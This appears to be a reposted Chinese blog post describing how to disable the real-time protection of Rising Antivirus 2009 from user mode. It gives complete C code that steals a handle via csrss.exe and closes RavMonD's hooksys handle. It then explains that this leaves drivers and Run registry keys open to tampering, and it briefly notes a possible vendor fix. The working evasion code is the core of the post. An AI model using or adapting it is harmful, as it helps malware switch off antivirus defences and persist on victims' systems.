• [原创]用户层关闭瑞星2009杀毒软件安全保护


    原文链接:用户层关闭瑞星2009杀毒软件安全保护

    我写这个纯粹是hacker精神,如果被滥用做病毒木马一类的邋遢东东,可跟偶没关系哦。

     

    原理very简单,我发现瑞星监控主要在RavMonD进程中,如果打破其与内核的联系,则瑞星监控功能就无法正常工作了,怎么打破联系呢?如果是进内核的话当然有很多的办法,从而没有挑战性了,况且RavMonD会阻止用户进程去加载驱动或者动注册表的关键地方,比如run子键。下面上测试代码:

     

     1 int main(int argc,char *argv[])
     2 {
     3     if(argc != 4)
     4         puts("usage ccon csrss.pid prmd.handle hooksys.handle");
     5     else
     6     {
     7         int pid = atoi(argv[1]);
     8         int hprmd = atoi(argv[2]);
     9         int hobj = atoi(argv[3]);
    10        
    11         if(!SetDebugPrivilege(true)) 
    12             puts("SetDebugPrivilege Failed!");
    13         HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
    14         if(!hcs)
    15         {
    16             puts("Open Csrss.exe Failed");
    17             PrintErr(GetLastError());
    18         }
    19         else //直接打开RavMonD进程会失败的,so采用迂回战术
    20         {
    21             HANDLE hprmd_loc;
    22             if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),/
    23                 &hprmd_loc,PROCESS_ALL_ACCESS,false,0))
    24             {
    25                 puts("Get hprmd_loc Failed!");
    26                 PrintErr(GetLastError());
    27             }
    28             else //关闭hooksys的句柄,打破其与内核的联系
    29             {
    30                 HANDLE hobj_loc;
    31                 if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,/
    32                     GetCurrentProcess(),&hobj_loc,0,false,/
    33                     DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
    34                 {
    35                     puts("Get hobj_loc Failed!");
    36                     PrintErr(GetLastError());
    37                 }
    38                 else
    39                 {
    40                     if(!CloseHandle(hobj_loc))
    41                     {
    42                         puts("Close hobj_loc Failed");
    43                     }
    44                     else
    45                         puts("We Success Finally!!!");
    46                 }
    47             }
    48         }
    49     }
    50     return 0;
    51 }

    打破瑞星监控与内核的关联之后,用户进程可以任意加载驱动程序进内核或者篡改注册表中的关键内容,我测试了一下,虽然第一次修改注册表中的监控内容时瑞星还是会提示用户是否允许修改,但是这时即使选择否,同样可以修改成功,而且以后的修改瑞星不会再提示了。

     

    其实防守起来也很容易,瑞星只要不让我们在ring3下取到hooksys的句柄就行了,当然仍然防不住内核中的攻击,进入ring0还是可以为所欲为。我的测试环境 windows xp sp3 + 瑞星杀毒2009 21.49.14 测试成功.

  • 相关阅读:
    sersync+rsync原理及部署
    rsync同步
    zabbix 3.2.2 agent端(源码包)安装部署
    zabbix配置
    Netbackup media server部署报错
    Oracle_rac命令
    Linux系统克隆为iso镜像盘(类似win gost)
    Nebackup清除磁带数据重新使用
    V7000初始化
    【数据案例】服务器崩溃后的数据恢复方法
  • 原文地址:https://www.cnblogs.com/hopy/p/3830345.html
Copyright © 2020-2023  润新知